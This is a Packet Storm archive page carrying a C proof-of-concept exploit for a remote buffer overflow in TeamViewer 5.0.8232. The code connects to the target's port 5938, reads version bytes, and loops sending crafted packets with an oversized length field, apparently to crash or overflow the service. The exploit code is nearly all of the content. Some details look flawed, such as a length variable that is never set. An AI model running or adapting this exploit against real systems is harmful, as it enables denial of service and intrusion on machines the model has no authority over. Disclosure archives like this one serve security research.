accept no compromises

TeamViewer 5.0.8232 Buffer Overflow

TeamViewer 5.0.8232 Buffer Overflow
Posted May 19, 2010
Authored by fl0 fl0w

TeamViewer version 5.0.8232 remote buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
MD5 | e05875868bc67a4c0f8f1044e0f7a4f3

TeamViewer 5.0.8232 Buffer Overflow

Change Mirror Download
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "[*]fl0 fl0w"

typedef int i32;
typedef char i8;
typedef short i16;
enum {
True=1,
False=0,
Error=-1
};
struct linger ling = {1,1};
i8* host;
i16 port;
i32 ver1,ver2,slen;
void syntax(){
i8 *help[]={"\t-h hostname",
"\t-p port(default 5938)",
};
i32 i;
size_t com=sizeof help / sizeof help[0];
for(i=0;i<com;i++){
printf("%s\n",help[i]);
}
}
i32 arguments(i32 argc,i8** argv){
i32 i;
argc--;
for(i=1;i<argc;i++){
switch(argv[i][1]){
case'h':
host=argv[++i];
break;
case'p':
port=atoi(argv[++i]);
break;
default:{
printf("error with argument nr %d:(%s)\n",i,argv[i]);
return Error;
exit(0);
}
}
}
}
i32 main(i32 argc,i8** argv){
if(argc<2){
printf("%s\n%s\n",POCNAME,AUTHOR);
printf("\tToo few arguments\n syntax is:\n");
syntax();
exit(0);
}
arguments(argc,argv);
i32 sok,i,
svcon,
sokaddr;

i8 *sendbytes=ALOC(i8,32768),
*recevbytes=ALOC(i8,5548);
printf("[*]Starting \n \t...\n");
struct sockaddr_in sockaddr_sok;
sokaddr = sizeof(sockaddr_sok);
sockaddr_sok.sin_family = AF_INET;
sockaddr_sok.sin_addr.s_addr = inet_addr(host);
sockaddr_sok.sin_port = htons(port);
sok=socket(AF_INET,SOCK_STREAM,0);
if(sok==-1){
printf("[*]FAILED SOCKET\n");
exit(0);
}
if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
printf("Error with connection\n");
shutdown(sok,1);
exit(0);
}
if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
printf("Error setting the socket\n");
shutdown(sok,1);
exit(0);
}
if(recv(sok,&ver1,1,0)!=1)
exit(0);
if(recv(sok, &ver2,1,0)!=1)
exit(0);
memset(sendbytes,0,250);
recv(sok,recevbytes,sizeof(recevbytes),0);
for(i=0;;i++) {
if(!(i & 15)) printf("%d\r", i);
sendbytes[0] = ver1;
sendbytes[1] = ver2;
sendbytes[2] = (i & 1) ? 15 : 21;
*(i16 *)(sendbytes + 3) = slen;
if(send(sok, sendbytes, 5, 0) != 5) break;

if(slen) {
memset(sendbytes, i, slen);
if(send(sok, sendbytes, slen, 0) != slen) break;
}
}
shutdown(sok,1);
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    22 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close